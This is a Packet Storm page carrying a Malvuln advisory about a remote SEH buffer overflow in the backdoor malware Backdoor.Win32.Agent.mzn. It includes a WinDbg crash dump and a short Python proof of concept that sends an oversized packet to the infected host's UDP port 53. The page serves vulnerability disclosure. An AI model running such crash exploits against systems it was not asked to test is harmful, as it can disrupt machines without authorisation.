what you don't know can hurt you

Backdoor.Win32.Agent.mzn Buffer Overflow

Backdoor.Win32.Agent.mzn Buffer Overflow
Posted Mar 17, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Agent.mzn malware suffers from a buffer overflow vulnerability.

tags | exploit, overflow
systems | windows
MD5 | 6080fd9710c66f5bc005af35b1055655

Backdoor.Win32.Agent.mzn Buffer Overflow

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f589ae5fb7879eb0b98fb8096d7152a5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.mzn
Vulnerability: Remote SEH Buffer Overflow
Description: Agent.mzn drops an executable named "aspimgr.exe" that runs with SYSTEM integrity, listening on TCP port 80 and UDP 53. Attackers who can reach the infected system can send a specially crafted packet to UDP port 53 and trigger a SEH based buffer overflow overwriting the structured exception handler.
Type: PE32
MD5: f589ae5fb7879eb0b98fb8096d7152a5
Vuln ID: MVID-2021-0134
Dropped files: aspimgr.exe
ASLR: False
DEP: False
Safe SEH: True :(
Disclosure: 03/16/2021

Memory Dump:
(390.b8): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00454741 edx=0327efe4 esi=00000000 edi=00000002
eip=7710ed3c esp=0327e708 ebp=0327e748 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h


0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
kernel32!lstrcpyA+1c
761d7c7c 880c16 mov byte ptr [esi+edx],cl

EXCEPTION_RECORD: 0327e908 -- (.exr 0x327e908)
ExceptionAddress: 761d7c7c (kernel32!lstrcpyA+0x0000001c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 03280000
Attempt to write to address 03280000

PROCESS_NAME: aspimgr.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1: 00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0327e958 -- (.cxr 0x327e958)
eax=0327fe34 ebx=000002fc ecx=00454741 edx=0327efe4 esi=0000101c edi=0327fe34
eip=761d7c7c esp=0327edb8 ebp=0327ede0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
761d7c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:03280000=??
Resetting default scope

WRITE_ADDRESS: 03280000

FOLLOWUP_IP:
kernel32!lstrcpyA+1c
761d7c7c 880c16 mov byte ptr [esi+edx],cl

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 0040696f to 761d7c7c

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_STACKIMMUNE

DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE

STACK_TEXT:
00000000 00000000 aspimgr.exe+0x0


STACK_COMMAND: .cxr 000000000327E958 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: aspimgr.exe

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: aspimgr

IMAGE_NAME: aspimgr.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 487f3031

FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE_c0000409_aspimgr.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE_MISSING_GSFRAME_aspimgr.exe


0:005> !exchain
0327e7c0: ntdll!_except_handler4+0 (77116a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad)
0327edd0: kernel32!_except_handler4+0 (761ed450)
CRT scope 0, filter: kernel32!lstrcpyA+2d (761d7c8d)
func: kernel32!lstrcpyA+40 (761d7ca0)
0327ff68: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=53

def doit():

s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))

JUNK="A"*2000
Dirty0tis_made_me_do_it="GET /"+JUNK+" HTTP/1.0\r\nHost: "+JUNK+"\r\n\r\n"

s.send(Dirty0tis_made_me_do_it)
s.close()

print("Backdoor.Win32.Agent.mzn / Remote SEH Buffer Overflow")
print("MD5: f589ae5fb7879eb0b98fb8096d7152a5")
print("By Malvuln")


if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    8 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close